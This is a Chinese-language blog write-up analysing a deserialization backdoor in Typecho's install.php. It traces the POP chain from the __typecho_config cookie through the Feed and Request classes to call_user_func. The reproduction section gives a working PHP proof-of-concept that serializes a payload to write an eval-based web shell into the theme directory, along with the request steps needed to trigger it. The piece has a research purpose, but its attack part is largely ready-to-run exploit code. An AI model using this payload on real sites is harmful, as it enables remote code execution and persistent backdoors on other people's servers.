Typecho…

0x01

Install.php后门分析

漏洞代码出现在install.php中


从上面可以看出config变量,可以通过Cookie中的__typecho_config变量经过base64解码再反序列化得到.之后再进入Typecho_Db类中.
反序列化攻击实现的条件:

  1. 存在可控的反序列化输入
  2. 存在可以利用的POP链(可被利用的方法)

在进入Typecho_Db类之前,如果要设置config变量,需要绕过一定的限制.



这里可以看到需要在GET中设置finish变量并且需要设置同源的Referer.
接着看到Typecho_Db类.

daapterName是传递进来的变量,其中在120行可以看到有一个字符串拼接的操作,根据POP链的可利用范围,自然想到去寻找__toString函数.

__toString函数
如果对象在被当作字符串处理是就会调用该方法

全局搜索__toString函数,发现有三处.


其中ConfigQuery中的__toString没有可利用的方式,接着看到Feed.php中的__toString函数.

这里可以看到有两处操作是$item['author']->screenName,如果这个$item['author']是一个对象的话,并且screenName是一个私有属性,那么当访问这个属性的时候就可以调用对象中的__get方法.
这里的item可以被控制.
接着在Request.php中寻找到了__get方法.


继续跟到get方法.

最后发现会进入到_applyFilter方法中,跟到该方法.

由于filtervalue都是可控的,这里的call_user_func可以执行任意代码.

0x02

漏洞复现

首先需要构造__typecho_config变量.需要Typecho_FeedTypecho_Request两个类.
构造__typecho_config的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Typecho_Feed
{
private $_type;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($type, $item)
{
$this->_type = $type;
$this->_items[] = array('author' => $item);
}
}
class Typecho_Request
{
private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/s.php\',\'w\'),\'<?php @eval($_POST[cmd]);?>\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
$payload2 = new Typecho_Feed('ATOM 1.0', $payload1); //或者RSS 2.0
$exp['adapter'] = $payload2;
$exp['prefix'] = 'idlefire';
echo base64_encode(serialize($exp));

这里将Typecho_FeedTypecho_Request分别实例化,再把Typecho_Request实例化的对象作为item数组变量中的author.之后将Typecho_Feed实例化的对象作为config数组变量中的adapter.
Payload:

1
2
3
GET:http://localhost:4399/typecho?finish=1
Cookie中添加__typecho_config
添加Referer

0x03

One’storm

面对反序列化漏洞的时候,需要仔细的寻找的可以利用的方法,从而形成完整的攻击.
注:这个是没有回显的payload,如果需要回显的话,可以找个可控点造成错误,从而使缓冲区的东西输出

(ง •_•)ง

代码仅用于学习研究,请勿用于非法用途恶意攻击,否则后果作者概不负责。